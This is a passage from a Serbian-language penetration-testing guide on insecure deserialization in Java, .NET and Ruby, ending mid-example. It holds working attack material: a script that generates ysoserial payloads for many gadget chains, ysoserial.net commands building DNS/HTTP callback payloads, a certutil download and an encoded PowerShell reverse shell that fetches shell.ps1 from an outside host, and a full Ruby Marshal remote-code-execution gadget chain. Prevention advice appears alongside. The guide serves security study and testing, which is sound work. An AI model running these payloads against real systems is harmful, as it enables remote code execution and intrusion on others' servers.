Kada kreirate payload za **java.lang.Runtime.exec()** ne možete koristiti specijalne karaktere kao što su ">" ili "|" za preusmeravanje izlaza izvršenja, "$()" za izvršavanje komandi ili čak **prosleđivati argumente** komandi razdvojene **razmacima** (možete uraditi `echo -n "hello world"` ali ne možete uraditi `python2 -c 'print "Hello World"'`). Da biste ispravno enkodovali payload možete [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||
|
||
Slobodno koristite sledeći skript da kreirate **all the possible code execution** payload-e za Windows i Linux i zatim ih testirate na ranjivoj web stranici:
|
||
```python
|
||
import os
|
||
import base64
|
||
|
||
# You may need to update the payloads
|
||
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
|
||
def generate(name, cmd):
|
||
for payload in payloads:
|
||
final = cmd.replace('REPLACE', payload)
|
||
print 'Generating ' + payload + ' for ' + name + '...'
|
||
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
|
||
result = command.read()
|
||
command.close()
|
||
encoded = base64.b64encode(result)
|
||
if encoded != "":
|
||
open(name + '_intruder.txt', 'a').write(encoded + '\n')
|
||
|
||
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
|
||
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||
```
|
||
#### serialkillerbypassgadgets
|
||
|
||
Možete **koristiti** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **zajedno sa ysoserial za kreiranje više exploits**. Više informacija o ovom alatu u **slajdovima predavanja** gde je alat predstavljen: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||
|
||
#### marshalsec
|
||
|
||
[**marshalsec** ](https://github.com/mbechler/marshalsec) može da se koristi za generisanje payloads za iskorišćavanje različitih **Json** i **Yml** serialization biblioteka u Java.\ Da bih kompajlirao projekat morao sam da **dodam** ove **dependencies** u `pom.xml`:
|
||
```html
|
||
<dependency>
|
||
<groupId>javax.activation</groupId>
|
||
<artifactId>activation</artifactId>
|
||
<version>1.1.1</version>
|
||
</dependency>
|
||
|
||
<dependency>
|
||
<groupId>com.sun.jndi</groupId>
|
||
<artifactId>rmiregistry</artifactId>
|
||
<version>1.2.1</version>
|
||
<type>pom</type>
|
||
</dependency>
|
||
```
|
||
**Instalirajte maven**, i **kompajlirajte** projekat:
|
||
```bash
|
||
sudo apt-get install maven
|
||
mvn clean package -DskipTests
|
||
```
|
||
#### FastJSON
|
||
|
||
Pročitajte više o ovoj Java JSON biblioteci: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||
|
||
### Laboratorije
|
||
|
||
- Ako želite testirati neke ysoserial payloads možete **pokrenuti ovaj webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||
|
||
### Zašto
|
||
|
||
Java koristi mnogo serijalizacije za različite namene, kao što su:
|
||
|
||
- **HTTP requests**: Serijalizacija se široko koristi u upravljanju parametrima, ViewState-om, cookies-ima itd.
|
||
- **RMI (Remote Method Invocation)**: Java RMI protokol, koji se u potpunosti oslanja na serijalizaciju, predstavlja kamen temeljac za daljinsku komunikaciju u Java aplikacijama.
|
||
- **RMI over HTTP**: Ovaj metod često koriste Java-based thick client web aplikacije, koje koriste serijalizaciju za svu komunikaciju objekata.
|
||
- **JMX (Java Management Extensions)**: JMX koristi serijalizaciju za prenos objekata preko mreže.
|
||
- **Custom Protocols**: U Javi je uobičajena praksa prenošenje sirovih Java objekata, što će biti demonstrirano u narednim primerima exploit-a.
|
||
|
||
### Prevencija
|
||
|
||
#### Transient objects
|
||
|
||
A class that implements `Serializable` can implement as `transient` any object inside the class that shouldn't be serializable. For example:
|
||
```java
|
||
public class myAccount implements Serializable
|
||
{
|
||
private transient double profit; // declared transient
|
||
private transient double margin; // declared transient
|
||
```
|
||
#### Izbegavanje serializacije klase koja mora da implementira `Serializable`
|
||
|
||
U scenarijima gde određeni **objekti moraju da implementiraju `Serializable`** interfejs zbog hijerarhije klasa, postoji rizik od nenamerne deserializacije. Da biste to sprečili, obezbedite da ovi objekti budu ne-deserializabilni definišući `final` `readObject()` metodu koja dosledno baca izuzetak, kao što je prikazano ispod:
|
||
```java
|
||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||
throw new java.io.IOException("Cannot be deserialized");
|
||
}
|
||
```
|
||
#### **Poboljšanje sigurnosti deserializacije u Java**
|
||
|
||
**Prilagođavanje `java.io.ObjectInputStream`** je praktičan pristup za osiguravanje procesa deserializacije. Ovaj pristup je pogodan kada:
|
||
|
||
- Kod za deserializaciju je pod vašom kontrolom.
|
||
- Klase koje se očekuju za deserializaciju su poznate.
|
||
|
||
Nadjačajte metod **`resolveClass()`** da biste ograničili deserializaciju samo na dozvoljene klase. Ovo sprečava deserializaciju bilo koje klase osim onih eksplicitno dozvoljenih, kao u sledećem primeru koji ograničava deserializaciju samo na klasu `Bicycle`:
|
||
```java
|
||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||
|
||
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
|
||
super(inputStream);
|
||
}
|
||
|
||
/**
|
||
* Only deserialize instances of our expected Bicycle class
|
||
*/
|
||
@Override
|
||
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
|
||
if (!desc.getName().equals(Bicycle.class.getName())) {
|
||
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
|
||
}
|
||
return super.resolveClass(desc);
|
||
}
|
||
}
|
||
```
|
||
**Korišćenje Java Agent-a za poboljšanje bezbednosti** nudi rezervno rešenje kada izmena koda nije moguća. Ova metoda se primenjuje uglavnom za **blacklisting harmful classes**, koristeći JVM parametar:
|
||
```
|
||
-javaagent:name-of-agent.jar
|
||
```
|
||
Ovo pruža način da se deserializacija zaštiti dinamički, idealno za okruženja gde je trenutna izmena koda nepraktična.
|
||
|
||
Pogledajte primer u [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||
|
||
**Implementacija filtera serijalizacije**: Java 9 je uveo filtere serijalizacije preko interfejsa **`ObjectInputFilter`**, pružajući moćan mehanizam za navođenje kriterijuma koje serijalizovani objekti moraju ispuniti pre nego što budu deserializovani. Ovi filteri mogu biti primenjeni globalno ili po tokovima, nudeći granularnu kontrolu nad procesom deserializacije.
|
||
|
||
Da biste iskoristili filtere serijalizacije, možete postaviti globalni filter koji važi za sve operacije deserializacije ili ga dinamički konfigurisati za određene tokove. Na primer:
|
||
```java
|
||
ObjectInputFilter filter = info -> {
|
||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
|
||
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
|
||
return Status.REJECTED; // Restrict to allowed classes
|
||
}
|
||
return Status.ALLOWED;
|
||
};
|
||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||
```
|
||
**Korišćenje eksternih biblioteka za poboljšanu bezbednost**: Biblioteke kao što su **NotSoSerial**, **jdeserialize** i **Kryo** nude napredne mogućnosti za kontrolu i nadzor Java deserializacije. Ove biblioteke mogu obezbediti dodatne slojeve zaštite, kao što su dopuštanje ili blokiranje klasa, analiza serijalizovanih objekata pre deserializacije i implementacija prilagođenih strategija serijalizacije.
|
||
|
||
- **NotSoSerial** presreće procese deserializacije kako bi sprečio izvršavanje nepouzdanog koda.
|
||
- **jdeserialize** omogućava analizu serijalizovanih Java objekata bez njihove deserializacije, pomažući u identifikaciji potencijalno malicioznog sadržaja.
|
||
- **Kryo** je alternativni framework za serijalizaciju koji naglašava brzinu i efikasnost, nudeći konfigurisane strategije serijalizacije koje mogu poboljšati bezbednost.
|
||
|
||
### References
|
||
|
||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||
- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||
- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||
- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||
- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||
- Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||
|
||
## JNDI Injection & log4Shell
|
||
|
||
Pronađite šta je **JNDI Injection, kako ga zloupotrebiti preko RMI, CORBA & LDAP i kako iskoristiti log4shell** (i primer ove ranjivosti) na sledećoj stranici:
|
||
|
||
|
||
{{#ref}}
|
||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||
{{#endref}}
|
||
|
||
## JMS - Java Message Service
|
||
|
||
> **Java Message Service** (**JMS**) API je Java API orijentisan na poruke (message-oriented middleware) za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođač–potrošač. JMS je deo Java Platform, Enterprise Edition (Java EE), i definisan je specifikacijom razvijenom u Sun Microsystems, a od tada ga vodi Java Community Process. To je standard poruka koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava da komunikacija između različitih komponenti distribuirane aplikacije bude slabo povezana (loosely coupled), pouzdana i asinhrona. (Iz [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||
|
||
### Products
|
||
|
||
Postoji nekoliko proizvoda koji koriste ovaj middleware za slanje poruka:
|
||
|
||
.png>)
|
||
|
||
.png>)
|
||
|
||
### Exploitation
|
||
|
||
U suštini postoji **veliki broj servisa koji koriste JMS na nesiguran način**. Dakle, ako imate **dovoljno privilegija** da pošaljete poruke tim servisima (obično će vam biti potrebni validni kredencijali) mogli biste poslati **maliciozne serijalizovane objekte koji će biti deserializovani od strane consumer/subscriber**.\
|
||
To znači da će u ovoj eksploataciji svi **klijenti koji budu koristili tu poruku biti inficirani**.
|
||
|
||
Treba imati na umu da čak i ako je servis ranjiv (zbog nesigurne deserializacije korisničkog unosa), i dalje morate pronaći validne gadgets da biste iskoristili ranjivost.
|
||
|
||
Alat [JMET](https://github.com/matthiaskaiser/jmet) je napravljen da se poveže na ove servise i napadne ih slanjem više malicioznih serijalizovanih objekata koristeći poznate gadgets. Ovi exploit-i će raditi ako je servis i dalje ranjiv i ako se bilo koji od korišćenih gadgets nalazi u ranjivoj aplikaciji.
|
||
|
||
### References
|
||
|
||
- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
|
||
|
||
- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||
- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||
|
||
## .Net
|
||
|
||
U kontekstu .Net-a, deserialization exploit-i funkcionišu na sličan način kao oni u Javi, gde se gadgets iskorišćavaju da pokrenu određeni kod tokom deserializacije objekta.
|
||
|
||
### Fingerprint
|
||
|
||
#### WhiteBox
|
||
|
||
Izvorni kod treba pregledati u potrazi za pojavama:
|
||
|
||
1. `TypeNameHandling`
|
||
2. `JavaScriptTypeResolver`
|
||
|
||
Fokus treba biti na serializer-ima koji dozvoljavaju da tip bude određen varijablom pod kontrolom korisnika.
|
||
|
||
#### BlackBox
|
||
|
||
Pretraga bi trebalo da cilja Base64 enkodovani string **AAEAAAD/////** ili bilo koji sličan obrazac koji bi mogao biti deserializovan na serverskoj strani, dajući kontrolu nad tipom koji će biti deserializovan. Ovo može uključivati, ali nije ograničeno na, **JSON** ili **XML** strukture koje sadrže `TypeObject` ili `$type`.
|
||
|
||
### ysoserial.net
|
||
|
||
U ovom slučaju možete koristiti alat [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) da **kreirate deserialization exploit-e**. Nakon što preuzmete git repozitorijum, treba da **kompajlirate alat** koristeći, na primer, Visual Studio.
|
||
|
||
Ako želite da saznate **kako ysoserial.net kreira svoje exploite**, možete [**pogledati ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||
|
||
Glavne opcije **ysoserial.net** su: **`--gadget`**, **`--formatter`**, **`--output`** i **`--plugin`.**
|
||
|
||
- **`--gadget`** se koristi da označi gadget koji će se zloupotrebiti (navodi klasu/funkciju koja će biti zloupotrebljena tokom deserializacije da izvrši komande).
|
||
- **`--formatter`** se koristi da naznači metod koji će serijalizovati exploit (morate znati koju biblioteku back-end koristi za deserializaciju payload-a i koristiti istu za serijalizaciju).
|
||
- **`--output`** se koristi da označi da li želite exploit u **raw** ili **base64** enkodiranom obliku. _Napomena: **ysoserial.net** će **enkodirati** payload koristeći **UTF-16LE** (enkodiranje podrazumevano na Windows-u), pa ako dobijete raw i samo ga enkodirate iz linux konzole, možete imati neke **probleme sa kompatibilnošću enkodiranja** koji će sprečiti exploit da radi ispravno (u HTB JSON box payload je radio i u UTF-16LE i u ASCII, ali to ne znači da će uvek raditi)._
|
||
- **`--plugin`** ysoserial.net podržava plugin-e za kreiranje **exploit-a za specifične framework-e** kao što je ViewState
|
||
|
||
#### More ysoserial.net parameters
|
||
|
||
- `--minify` će obezbediti **manji payload** (ako je moguće)
|
||
- `--raf -f Json.Net -c "anything"` Ovo će navesti sve gadgets koji se mogu koristiti sa datim formatter-om (`Json.Net` u ovom slučaju)
|
||
- `--sf xml` možete **naznačiti gadget** (`-g`) i ysoserial.net će tražiti formatter-e koji sadrže "xml" (case insensitive)
|
||
|
||
**ysoserial primeri** za kreiranje exploit-a:
|
||
```bash
|
||
#Send ping
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||
|
||
#Timing
|
||
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
|
||
|
||
#DNS/HTTP request
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
|
||
|
||
#Reverse shell
|
||
#Create shell command in linux
|
||
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
|
||
#Create exploit using the created B64 shellcode
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||
```
|
||
**ysoserial.net** takođe ima **veoma interesantan parametar** koji pomaže da se bolje razume kako svaki exploit radi: `--test`\
|
||
Ako navedete ovaj parametar **ysoserial.net** će **pokušati** **exploit lokalno,** tako da možete testirati da li će vaš payload raditi ispravno.\
|
||
Ovaj parametar je koristan jer ako pregledate kod pronaći ćete odeljke koda poput sledećeg (iz [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||
```java
|
||
if (inputArgs.Test)
|
||
{
|
||
try
|
||
{
|
||
SerializersHelper.JsonNet_deserialize(payload);
|
||
}
|
||
catch (Exception err)
|
||
{
|
||
Debugging.ShowErrors(inputArgs, err);
|
||
}
|
||
}
|
||
```
|
||
To znači da će, da bi testirao exploit, code pozvati [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||
```java
|
||
public static object JsonNet_deserialize(string str)
|
||
{
|
||
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
|
||
{
|
||
TypeNameHandling = TypeNameHandling.Auto
|
||
});
|
||
return obj;
|
||
}
|
||
```
|
||
U prethodnom primeru kod je ranjiv na kreirani exploit. Dakle, ako pronađete nešto slično u .Net aplikaciji, to znači da je ta aplikacija verovatno takođe ranjiva.\
|
||
Zato parametar **`--test`** omogućava da razumemo **koji delovi koda su ranjivi** na deserialization exploit koji **ysoserial.net** može da kreira.
|
||
|
||
### ViewState
|
||
|
||
Pogledajte [ovu POST objavu o **kako pokušati eksploatisati \_\_ViewState parameter of .Net**](exploiting-__viewstate-parameter.md) da biste **izvršili arbitrary code.** Ako **već znate tajne** koje koristi žrtvina mašina, [**pročitajte ovu objavu da biste znali kako izvršiti kod**](exploiting-__viewstate-knowing-the-secret.md).
|
||
|
||
### Prevencija
|
||
|
||
Da biste ublažili rizike povezane sa deserialization u .Net:
|
||
|
||
- **Izbegavajte da tokovi podataka definišu svoje tipove objekata.** Koristite `DataContractSerializer` ili `XmlSerializer` kad god je moguće.
|
||
- **Za `JSON.Net`, postavite `TypeNameHandling` na `None`:** `TypeNameHandling = TypeNameHandling.None`
|
||
- **Izbegavajte korišćenje `JavaScriptSerializer` sa `JavaScriptTypeResolver`.**
|
||
- **Ograničite tipove koji se mogu deserializovati**, razumevajući inherentne rizike sa .Net tipovima, kao što je `System.IO.FileInfo`, koji može izmeniti svojstva fajlova na serveru i potencijalno dovesti do denial of service napada.
|
||
- **Budite oprezni sa tipovima koji imaju rizična svojstva**, kao što je `System.ComponentModel.DataAnnotations.ValidationException` sa svojim `Value` svojstvom, koje se može iskoristiti.
|
||
- **Sigurno kontrolišite instanciranje tipova** kako biste sprečili napadače da utiču na proces deserialization, što može učiniti ranjivim i `DataContractSerializer` ili `XmlSerializer`.
|
||
- **Implementirajte kontrole bele liste** koristeći prilagođeni `SerializationBinder` za `BinaryFormatter` i `JSON.Net`.
|
||
- **Pratite poznate nesigurne deserialization gadgets** unutar .Net i osigurajte da deserializatori ne instanciraju takve tipove.
|
||
- **Izolujte potencijalno rizičan kod** od koda koji ima pristup internetu kako biste izbegli izlaganje poznatih gadgets, kao što je `System.Windows.Data.ObjectDataProvider` u WPF aplikacijama, nepouzdanim izvorima podataka.
|
||
|
||
### Izvori
|
||
|
||
- Paper o Java i .Net JSON deserialization: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf), predavanje: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) i slajdovi: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||
|
||
## **Ruby**
|
||
|
||
U Ruby-ju, serialization se obavlja pomoću dve metode unutar biblioteke **marshal**. Prva metoda, poznata kao **dump**, koristi se da transformiše objekat u niz bajtova — ovaj proces se naziva serialization. Suprotno tome, druga metoda, **load**, služi da vrati niz bajtova nazad u objekat — ovaj proces se naziva deserialization.
|
||
|
||
Za osiguranje serializovanih objekata, **Ruby koristi HMAC (Hash-Based Message Authentication Code)**, obezbeđujući integritet i autentičnost podataka. Ključ koji se koristi za ovu svrhu nalazi se u jednom od sledećih mogućih lokacija:
|
||
|
||
- `config/environment.rb`
|
||
- `config/initializers/secret_token.rb`
|
||
- `config/secrets.yml`
|
||
- `/proc/self/environ`
|
||
|
||
**Ruby 2.X generic deserialization to RCE gadget chain (više informacija na** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||
```ruby
|
||
#!/usr/bin/env ruby
|
||
|
||
# Code from https://www.elttam.com/blog/ruby-deserialization/
|
||
|
||
class Gem::StubSpecification
|
||
def initialize; end
|
||
end
|
||
|
||
|
||
stub_specification = Gem::StubSpecification.new
|
||
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
|
||
|
||
puts "STEP n"
|
||
stub_specification.name rescue nil
|
||
puts
|
||
|
||
|
||
class Gem::Source::SpecificFile
|
||
def initialize; end
|
||
end
|
||
|
||
specific_file = Gem::Source::SpecificFile.new
|
||
specific_file.instance_variable_set(:@spec, stub_specification)
|
||
|
||
other_specific_file = Gem::Source::SpecificFile.new
|
||
|
||
puts "STEP n-1"
|
||
specific_file <=> other_specific_file rescue nil
|
||
puts
|
||
|
||
|
||
$dependency_list= Gem::DependencyList.new
|
||
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
|
||
|
||
puts "STEP n-2"
|
||
$dependency_list.each{} rescue nil
|
||
puts
|
||
|
||
|
||
class Gem::Requirement
|
||
def marshal_dump
|
||
[$dependency_list]
|
||
end
|
||
end
|
||
|
||
payload = Marshal.dump(Gem::Requirement.new)
|
||
|
||
puts "STEP n-3"
|
||
Marshal.load(payload) rescue nil
|
||
puts
|
||
|
||
|
||
puts "VALIDATION (in fresh ruby process):"
|
||
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
|
||
pipe.print payload
|
||
pipe.close_write
|
||
puts pipe.gets
|
||
puts
|
||
end
|
||
|
||
puts "Payload (hex):"
|
||
puts payload.unpack('H*')[0]
|
||
puts
|
||
|
||
|
||
require "base64"
|
||
puts "Payload (Base64 encoded):"
|
||
puts Base64.encode64(payload)
|
||
```
|
||
Još jedan RCE lanac za iskorišćavanje Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||
|
||
### Ruby .send() metod
|
||
|
||
Kao što je objašnjeno u [**ovom izveštaju o ranjivosti**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), ako neki nesanitizovan korisnički unos stigne do `.send()` metoda ruby objekta, ovaj metod omogućava da se **pozove bilo koji drugi metod** objekta sa bilo kojim parametrima.
|
||
|
||
Na primer, pozivanje eval i zatim ruby koda kao drugog parametra će omogućiti izvršavanje proizvoljnog koda:
|
||
```ruby
|
||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||
```
|
||
Štaviše, ako je samo jedan parametar od **`.send()`** pod kontrolom napadača, kao što je pomenuto u prethodnom writeupu, moguće je pozvati bilo koju metodu objekta koja **ne zahteva argumente** ili čiji argumenti imaju **podrazumevane vrednosti**.\
|
||
Za ovo, moguće je enumerisati sve metode objekta kako bi se **pronašle neke zanimljive metode koje ispunjavaju te uslove**.
|
||
```ruby
|
||
<Object>.send('<user_input>')
|
||
|
||
# This code is taken from the original blog post
|
||
# <Object> in this case is Repository
|
||
## Find methods with those requirements
|
||
repo = Repository.find(1) # get first repo
|
||
repo_methods = [ # get names of all methods accessible by Repository object
|
||
repo.public_methods(),
|
||
repo.private_methods(),
|
||
repo.protected_methods(),
|
||
].flatten()
|
||
|
||
repo_methods.length() # Initial number of methods => 5542
|
||
|
||
## Filter by the arguments requirements
|
||
candidate_methods = repo_methods.select() do |method_name|
|
||
[0, -1].include?(repo.method(method_name).arity())
|
||
end
|
||
candidate_methods.length() # Final number of methods=> 3595
|
||
```
|
||
### Ruby class pollution
|
||
|
||
Proverite kako bi bilo moguće [pollute a Ruby class and abuse it in here](ruby-class-pollution.md).
|
||
|
||
### Ruby _json pollution
|
||
|
||
Kada se u body pošalju vrednosti koje nisu hashable, npr. array, one će biti dodate u novi ključ nazvan `_json`. Međutim, napadač takođe može u body postaviti ključ `_json` sa proizvoljnim vrednostima koje želi. Ako backend, na primer, proverava verodostojnost nekog parametra, ali zatim koristi parametar `_json` za izvršenje neke akcije, može doći do zaobilaženja autorizacije.
|
||
|
||
Više informacija potražite na [Ruby _json pollution page](ruby-_json-pollution.md).
|
||
|
||
### Ostale biblioteke
|
||
|
||
Ova tehnika je preuzeta[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||
|
||
Postoje i druge Ruby biblioteke koje se mogu koristiti za serijalizaciju objekata i koje bi zbog toga mogle biti zloupotrebljene za dobijanje RCE tokom insecure deserialization. Sledeća tabela prikazuje neke od tih biblioteka i metod koji se poziva u učitanoj klasi kad se ona unserializuje (funkcija koja se u suštini može zloupotrebiti da bi se dobio RCE):
|
||
|
||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteka</strong></td><td><strong>Ulazni podaci</strong></td><td><strong>Metod koji se pokreće u klasi</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binarni</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klasa mora biti stavljena u hash (map) kao ključ)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klasa mora biti stavljena u hash (map) kao ključ)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klasa mora biti stavljena u hash (map) kao ključ)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||
|
||
Osnovni primer:
|
||
```ruby
|
||
# Existing Ruby class inside the code of the app
|
||
class SimpleClass
|
||
def initialize(cmd)
|
||
@cmd = cmd
|
||
end
|
||
|
||
def hash
|
||
system(@cmd)
|
||
end
|
||
end
|
||
|
||
# Exploit
|
||
require 'oj'
|
||
